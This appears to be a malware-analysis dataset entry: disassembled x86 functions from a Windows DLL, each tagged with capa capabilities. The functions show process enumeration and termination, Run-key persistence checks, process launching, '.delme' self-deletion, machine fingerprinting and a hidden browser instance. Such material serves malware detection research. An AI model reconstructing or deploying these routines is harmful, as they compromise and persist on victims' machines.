joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000153e
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x130]
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x138], eax
push dword [ebp + 8]
call fcn.1000715e
pop ecx
mov eax, dword [0x1000b210]
mov dword [ebp - 0x13c], eax
push dword [0x1000b210]
call sub.MSVCRT.dll_strlen
pop ecx
dec eax
mov dword [ebp - 0x12c], eax
jmp 0x100015ae
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jl 0x100015e4
mov eax, dword [0x1000b210]
add eax, dword [ebp - 0x12c]
movsx eax, byte [eax]
cmp eax, 0x5c
jne 0x100015e2
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x13c]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0x13c], eax
jmp 0x100015e4
jmp 0x100015a1
push dword [ebp - 0x13c]
call fcn.1000715e
pop ecx
cmp dword [ebp - 0x138], 0
je 0x10001694
lea eax, [ebp - 0x104]
push eax
call fcn.1000715e
pop ecx
push dword [ebp - 0x13c]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x10001677
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x10001677
push dword [ebp - 0x120]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x1000166b
push 0
push dword [ebp - 0x140]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0x134], eax
push dword [ebp - 0x140]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x130]
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x138], eax
jmp 0x100015f0
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x100017bd
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0c
and dword [ebp - 0x60c], 0
mov dword [ebp - 0x104], 0x3ff
lea eax, [ebp - 0x208]
push eax
push 0x20019
push 0
push 0x1000a0e8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001805
push dword [ebp - 0x208]
call fcn.100016f5
pop ecx
push dword [ebp - 0x208]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x208]
push eax
push 0x20019
push 0
push 0x1000a118
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000183f
push dword [ebp - 0x208]
call fcn.100016f5
pop ecx
push dword [ebp - 0x208]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1000a148
call fcn.1000153e
pop ecx
push str.acrotray
call fcn.1000153e
pop ecx
push 0x1000a160
call fcn.1000153e
pop ecx
push 0x1000a164
call fcn.1000153e
pop ecx
push 0x1000a168
call fcn.1000153e
pop ecx
push 0x1000a174
call fcn.1000153e
pop ecx
push 0x1000a180
call fcn.1000153e
pop ecx
leave
ret
Function at 0x1000189a
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push edi
and dword [ebp - 0x98], 0
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x94]
rep stosd dword es:[edi], eax
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x98], 0x3c
mov dword [ebp - 0x94], 0x440
and dword [ebp - 0x90], 0
and dword [ebp - 0x8c], 0
mov eax, dword [0x1000b210]
mov dword [ebp - 0x88], eax
mov eax, dword [0x1000b214]
mov dword [ebp - 0x84], eax
and dword [ebp - 0x80], 0
and dword [ebp - 0x7c], 0
and dword [ebp - 0x78], 0
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 1
pop eax
pop edi
leave
ret

Function at 0x1000191a
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
and dword [ebp - 0x138], 0
and dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0x134], eax
jmp 0x10001952
mov eax, dword [ebp - 0x134]
dec eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
jb 0x10001980
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x134]
movsx eax, byte [eax]
cmp eax, 0x5c
jne 0x1000197e
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax + 1]
mov dword [ebp - 4], eax
jmp 0x10001980
jmp 0x10001945
push dword [ebp - 4]
call fcn.1000715e
pop ecx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0xffffffff
jne 0x100019b8
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
jmp 0x10001a3a
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x13c]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x100019ec
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x138]
jmp 0x10001a3a
lea eax, [ebp - 0x10c]
push eax
call fcn.1000715e
pop ecx
push dword [ebp - 4]
lea eax, [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x10001a15
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x13c]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100019ec
push dword [ebp - 0x13c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
leave
ret
Function at 0x100026f8
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x858
push 0x10
push 0
lea eax, [ebp - 0x54]
push eax
call fcn.10007249
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.10007249
add esp, 0xc
mov dword [ebp - 0x44], 0x44
mov dword [ebp - 0x18], 0x101
and word [ebp - 0x14], 0
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x50]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x10002768
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x598
push edi
and dword [ebp - 0x598], 0
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x594]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x598], 0x3c
mov dword [ebp - 0x594], 0x440
and dword [ebp - 0x590], 0
and dword [ebp - 0x58c], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x588], eax
mov eax, dword [0x1000b214]
mov dword [ebp - 0x584], eax
and dword [ebp - 0x580], 0
and dword [ebp - 0x57c], 0
and dword [ebp - 0x578], 0
lea eax, [ebp - 0x598]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop edi
leave
ret
Function at 0x10002df8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x598
push edi
and dword [ebp - 0x598], 0
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x594]
rep stosd dword es:[edi], eax
push dword [0x1000b210]
lea eax, [ebp - 0x400]
push eax
call fcn.100071c5
pop ecx
pop ecx
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
mov dword [ebp - 0x55c], eax
jmp 0x10002e4d
mov eax, dword [ebp - 0x55c]
dec eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 0
jb 0x10002e6d
mov eax, dword [ebp - 0x55c]
movsx eax, byte [ebp + eax - 0x400]
cmp eax, 0x2e
jne 0x10002e6b
jmp 0x10002e6d
jmp 0x10002e40
mov eax, dword [ebp - 0x55c]
and byte [ebp + eax - 0x400], 0
push str._.exe
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x598], 0x3c
mov dword [ebp - 0x594], 0x440
and dword [ebp - 0x590], 0
and dword [ebp - 0x58c], 0
lea eax, [ebp - 0x400]
mov dword [ebp - 0x588], eax
mov eax, dword [0x1000b214]
mov dword [ebp - 0x584], eax
and dword [ebp - 0x580], 0
and dword [ebp - 0x57c], 0
and dword [ebp - 0x578], 0
lea eax, [ebp - 0x598]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 1
pop eax
pop edi
leave
ret
Function at 0x10002eee
Capabilities:
Delete file
Enumerate files on windows
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 0x32
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
je 0x10003073
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
push dword [ebp - 0x104]
push dword [ebp - 0x108]
push dword [ebp + 8]
push str._s.delme_u
push dword [ebp - 0x110]
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
push dword [ebp - 0x110]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push dword [ebp - 0x110]
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0x10c], eax
jmp 0x10002f9a
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jb 0x10002fcb
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0x10c]
movsx eax, byte [eax]
cmp eax, 0x5c
jne 0x10002fc9
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0x10c]
and byte [eax + 1], 0
jmp 0x10002fcb
jmp 0x10002f8d
push dword [ebp - 0x110]
lea eax, [ebp - 0x100]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push str..delme
push dword [ebp - 0x110]
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
lea eax, [ebp - 0x350]
push eax
push dword [ebp - 0x110]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0xffffffff
je 0x10003066
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x100]
push eax
push 0x1000a4d8
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x350]
push eax
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003013
push dword [ebp - 0x354]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0x110]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
leave
ret

Function at 0x10003075
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x10003090
push 1
pop eax
jmp 0x10003092
xor eax, eax
leave
ret
Function at 0x100039b0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push 0x1000b344
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x400]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x100039f4
push 0x1000a678
lea eax, [ebp - 0x400]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x1000a67c
lea eax, [ebp - 0x400]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0xffffffff
je 0x10003a79
push 0
lea eax, [ebp - 0x404]
push eax
push 4
push 0x1000b340
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x404]
push eax
push 4
push 0x1000a5dc
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x10003a7b
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push 0x1000b348
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x404]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10003abf
push 0x1000a684
lea eax, [ebp - 0x404]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.100.dat
lea eax, [ebp - 0x404]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0xffffffff
je 0x10003b3e
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x1000b340
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea eax, [ebp - 4]
push eax
push 4
push 0x1000a5dc
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x408]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x1000469c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
push dword [ebp + 8]
call dword [eax + 0x78]
push dword [ebp - 0x10]
call fcn.1000394f
pop ecx
mov dword [ebp - 8], eax
push dword [ebp + 8]
call fcn.10003b78
pop ecx
mov dword [ebp - 4], eax
push str.http:__
push dword [ebp - 4]
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x1000478f
and dword [ebp - 0x14], 0
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll__strdup]
pop ecx
mov dword [ebp - 0x41c], eax
and dword [ebp - 0x18], 0
jmp 0x10004703
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
push dword [ebp - 0x41c]
call sub.MSVCRT.dll_strlen
pop ecx
cmp dword [ebp - 0x18], eax
jae 0x10004749
mov eax, dword [ebp - 0x41c]
add eax, dword [ebp - 0x18]
movsx eax, byte [eax]
cmp eax, 0x2f
jne 0x1000472c
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jne 0x10004747
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x41c]
add eax, dword [ebp - 0x18]
and byte [eax], 0
jmp 0x10004749
jmp 0x100046fc
push dword [ebp - 4]
push dword [ebp - 0x41c]
push str._s_s
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp - 0x41c]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.MSVCRT.dll__strdup]
pop ecx
mov dword [ebp - 4], eax
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax + 4], ecx
push 0
push 0
push dword [ebp - 0xc]
push 0x10004443
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
leave
ret
Function at 0x10004b66
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 1
pop eax
test eax, eax
je 0x10004b9f
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 4]
and eax, 0x20
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x10004b9b
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10004b9d
jmp 0x10004b9f
jmp 0x10004b6c
leave
ret

Function at 0x100051e0
Capabilities:
Initialize iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 0x1000b32c
push 0x1000a798
push 5
push 0
push 0x1000a788
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x10005219
cmp dword [0x1000b32c], 0
jne 0x10005221
or eax, 0xffffffff
jmp 0x100052bf
push 0
mov eax, dword [0x1000b32c]
mov eax, dword [eax]
push dword [0x1000b32c]
call dword [eax + 0x110]
push 0
mov eax, dword [0x1000b32c]
mov eax, dword [eax]
push dword [0x1000b32c]
call dword [eax + 0xc4]
push 1
mov eax, dword [0x1000b32c]
mov eax, dword [eax]
push dword [0x1000b32c]
call dword [eax + 0xac]
push 0
mov eax, dword [0x1000b32c]
mov eax, dword [eax]
push dword [0x1000b32c]
call dword [eax + 0xbc]
cmp dword [ebp + 8], 0
je 0x100052a7
push 0
mov eax, dword [0x1000b32c]
mov eax, dword [eax]
push dword [0x1000b32c]
call dword [eax + 0xa4]
push 0xffffffffffffffff
mov eax, dword [0x1000b32c]
mov eax, dword [eax]
push dword [0x1000b32c]
call dword [eax + 0xf0]
jmp 0x100052bc
push 0xffffffffffffffff
mov eax, dword [0x1000b32c]
mov eax, dword [eax]
push dword [0x1000b32c]
call dword [eax + 0xa4]
push 1
pop eax
leave
ret

Function at 0x10005b3e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
push esi
push edi
push 0xa
pop ecx
mov esi, str.SoftwareMicrosoftWindowsCurrentVersion
lea edi, [ebp - 0x30]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 4], 0x400
lea eax, [ebp - 0x38]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x30]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10005b81
xor eax, eax
jmp 0x10005bde
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x438]
push eax
push 0
push 0
push str.ProductId
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10005bc8
push dword [ebp - 4]
lea eax, [ebp - 0x438]
push eax
push dword [ebp + 8]
call fcn.1000720b
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov dword [ebp - 0x34], 1
jmp 0x10005bd2
mov eax, dword [ebp + 0xc]
and dword [eax], 0
and dword [ebp - 0x34], 0
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x34]
pop edi
pop esi
leave
ret
Function at 0x10005be2
Capabilities:
Get disk information
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push 0x1000a7fc
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push dword [ebp - 0x74]
push 0x1000a800
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.10005b3e
pop ecx
pop ecx
call fcn.10005a92
and dword [ebp - 0x78], 0
jmp 0x10005c45
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x20
jge 0x10005c64
call fcn.10005a6b
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x78]
mov byte [ebp + eax - 0x4c4], dl
jmp 0x10005c3e
cmp dword [ebp - 0x49c], 0
je 0x10005ca7
and dword [ebp - 0x78], 0
jmp 0x10005c7a
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x20
jge 0x10005ca7
mov eax, dword [ebp - 0x78]
cdq
idiv dword [ebp - 0x49c]
mov eax, dword [ebp - 0x78]
mov al, byte [ebp + eax - 0x4c4]
xor al, byte [ebp + edx - 0x498]
mov ecx, dword [ebp - 0x78]
mov byte [ebp + ecx - 0x4c4], al
jmp 0x10005c73
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [ebp - 0x28]
mov dword [ebp - 4], eax
and dword [ebp - 0x78], 0
jmp 0x10005cc4
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x20
jge 0x10005cf0
mov eax, dword [ebp - 0x78]
xor edx, edx
push 0x24
pop ecx
div ecx
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 4]
mov al, byte [ebp + eax - 0x4c4]
xor al, byte [ecx + edx]
mov ecx, dword [ebp - 0x78]
mov byte [ebp + ecx - 0x4c4], al
jmp 0x10005cbd
lea eax, [ebp - 0x74]
mov dword [ebp - 4], eax
and dword [ebp - 0x78], 0
jmp 0x10005d03
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x20
jge 0x10005d2f
mov eax, dword [ebp - 0x78]
xor edx, edx
push 4
pop ecx
div ecx
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 4]
mov al, byte [ebp + eax - 0x4c4]
xor al, byte [ecx + edx]
mov ecx, dword [ebp - 0x78]
mov byte [ebp + ecx - 0x4c4], al
jmp 0x10005cfc
and dword [ebp - 0x78], 0
jmp 0x10005d3c
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x20
jge 0x10005d66
mov eax, dword [ebp - 0x78]
movzx eax, byte [ebp + eax - 0x4c4]
push eax
push str._02x
mov eax, dword [ebp - 0x78]
lea eax, [ebp + eax*2 - 0x70]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x10005d35
push 0x40
lea eax, [ebp - 0x70]
push eax
push dword [ebp + 8]
call fcn.1000720b
add esp, 0xc
leave
ret
Function at 0x10005d79
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push 0x1000a80c
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x10005e67
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10005e01
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push 0x1000a810
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10005e11
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10005e65
push dword [ebp - 0x80c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3ff
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp + 8]
jmp 0x10005ed6
jmp 0x10005ebe
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10005ea6
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push 0x1000a81c
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x10005ebe
push dword [ebp + 8]
push 0x1000a828
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0x3ff
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov eax, dword [ebp + 8]
leave
ret